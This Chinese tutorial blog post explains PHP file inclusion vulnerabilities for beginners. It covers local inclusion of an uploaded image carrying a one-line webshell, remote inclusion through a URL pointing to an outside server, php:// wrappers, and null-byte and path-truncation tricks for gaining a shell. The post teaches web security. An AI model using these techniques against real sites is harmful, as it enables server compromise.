百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 技术流 > 正文

什么是文件包含漏洞?手把手入门白帽子(七)

citgpt 2024-09-26 11:27 7 浏览 0 评论


(图片源于网络,侵删)

什么是文件包含漏洞?手把手入门白帽子(七)

PS:又来给大家上干货了,快拿小本本记下来~

手把手入门白帽子系列,全学完就是一个合格的web安全工程师了!

1

什么是文件包含漏洞


本篇介绍的是文件包含漏洞,这也是属于一种非常常见的漏洞类型。


产生的原因是传入的文件名没有经过合理的校验,从而让黑客包含了精心构造的文件最终造成的代码注入。


所以一套源码快速发掘并利用文件包含getshell是这篇要讨论的


主要分为危险函数、本地文件包含、远程文件包含和截断技巧四方面展开。


2

危险函数

include()

include_once()

require()

require_once()


3

文件包含漏洞的脑图




4

脑图本地文件包含

本地文件包含漏洞常用的场景是用户上传头像image.jpg,image.jpg里存在PHP一句话木马,然后我们利用本地文件包含将image.jpg加载进来即可执行一句话命令从而getshell。缺陷代码如下:



程序本意是获取action并引入action里的功能函数,这里我们上传了头像image.jpg,然

后包含进来发现在页面显示了phpinfo的信息:



那么这里上传的头像image.jpg代码改为一句话木马:



使用菜刀成功getshell:




5

远程文件包含


1.普通远程文件包含

条件:allow_url_include=on(默认off)、allow_url_fopen=on

缺陷代码:



然后我们浏览器输入:http://localhost/fileinclude.php?action=http://*.*.*.*/test.txt



其中http://*.*.*.*/test.txt是我自己的服务器,里面的test.txt内容如下:



当然也可以包含一句话木马进一步getshell。


2.有限制远程文件包含

条件:allow_url_include=on

伪协议php://input和php://filter包含

测试发现可以继续愉快的包含了




6

截断技巧

1.PHP%00截断

截断条件:

①PHP版本小于5.3.4,详情请查看[CVE-2006-7243](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-7243)

②magic_quotes_gpc=Off,否则%00这种空字符会被转义为\0

搭建好满足上面两个条件的测试环境后,可以用下面的漏洞代码来测试:



不同之处是这里后面强制加了jpg的后缀,所以需要通过截断的技巧来继续包含




2.多个./截断

截断条件:PHP版本小于5.3

Windows240个.或者./可以截断

测试240个点截断成功如下图:




Linux是2038个/.可以截断,自行搭建环境测试吧~

本篇内容就介绍到这里了,希望对大家有所帮助。



PS:送你套远程监听的教程吧

私信留个4,看见就发给你




推荐阅读


6个月当上web安全工程师 | 手把手入门白帽子(一)


黑客常说SQL注入是什么?手把手入门白帽子 (二)


SQL注入攻击方式及防御方法,手把手入门白帽子 (二)

跨站脚本攻击,附相关学习资源!手把手入门白帽子 (三)



相关推荐

js中arguments详解

一、简介了解arguments这个对象之前先来认识一下javascript的一些功能:其实Javascript并没有重载函数的功能,但是Arguments对象能够模拟重载。Javascrip中每个函数...

firewall-cmd 常用命令

目录firewalldzone说明firewallzone内容说明firewall-cmd常用参数firewall-cmd常用命令常用命令 回到顶部firewalldzone...

epel-release 是什么

EPEL-release(ExtraPackagesforEnterpriseLinux)是一个软件仓库,它为企业级Linux发行版(如CentOS、RHEL等)提供额外的软件包。以下是关于E...

FullGC详解  什么是 JVM 的 GC
FullGC详解 什么是 JVM 的 GC

前言:背景:一、什么是JVM的GC?JVM(JavaVirtualMachine)。JVM是Java程序的虚拟机,是一种实现Java语言的解...

2024-10-26 08:50 citgpt

使用Spire.Doc组件利用模板导出Word文档
  • 使用Spire.Doc组件利用模板导出Word文档
  • 使用Spire.Doc组件利用模板导出Word文档
  • 使用Spire.Doc组件利用模板导出Word文档
  • 使用Spire.Doc组件利用模板导出Word文档
跨域(CrossOrigin)

1.介绍  1)跨域问题:跨域问题是在网络中,当一个网络的运行脚本(通常时JavaScript)试图访问另一个网络的资源时,如果这两个网络的端口、协议和域名不一致时就会出现跨域问题。    通俗讲...

微服务架构和分布式架构的区别

1、含义不同微服务架构:微服务架构风格是一种将一个单一应用程序开发为一组小型服务的方法,每个服务运行在自己的进程中,服务间通信采用轻量级通信机制(通常用HTTP资源API)。这些服务围绕业务能力构建并...

深入理解与应用CSS clip-path 属性
深入理解与应用CSS clip-path 属性

clip-pathclip-path是什么clip-path 是一个CSS属性,允许开发者创建一个剪切区域,从而决定元素的哪些部分可见,哪些部分会被隐...

2024-10-25 11:51 citgpt

HCNP Routing&Switching之OSPF LSA类型(二)
  • HCNP Routing&Switching之OSPF LSA类型(二)
  • HCNP Routing&Switching之OSPF LSA类型(二)
  • HCNP Routing&Switching之OSPF LSA类型(二)
  • HCNP Routing&Switching之OSPF LSA类型(二)
Redis和Memcached的区别详解
  • Redis和Memcached的区别详解
  • Redis和Memcached的区别详解
  • Redis和Memcached的区别详解
  • Redis和Memcached的区别详解
Request.ServerVariables 大全

Request.ServerVariables("Url")返回服务器地址Request.ServerVariables("Path_Info")客户端提供的路...

python操作Kafka

目录一、python操作kafka1.python使用kafka生产者2.python使用kafka消费者3.使用docker中的kafka二、python操作kafka细...

Runtime.getRuntime().exec详解

Runtime.getRuntime().exec详解概述Runtime.getRuntime().exec用于调用外部可执行程序或系统命令,并重定向外部程序的标准输入、标准输出和标准错误到缓冲池。...

promise.all详解 promise.all是干什么的
promise.all详解 promise.all是干什么的

promise.all详解promise.all中所有的请求成功了,走.then(),在.then()中能得到一个数组,数组中是每个请求resolve抛出的结果...

2024-10-24 16:21 citgpt

Content-Length和Transfer-Encoding详解
  • Content-Length和Transfer-Encoding详解
  • Content-Length和Transfer-Encoding详解
  • Content-Length和Transfer-Encoding详解
  • Content-Length和Transfer-Encoding详解

取消回复欢迎 发表评论: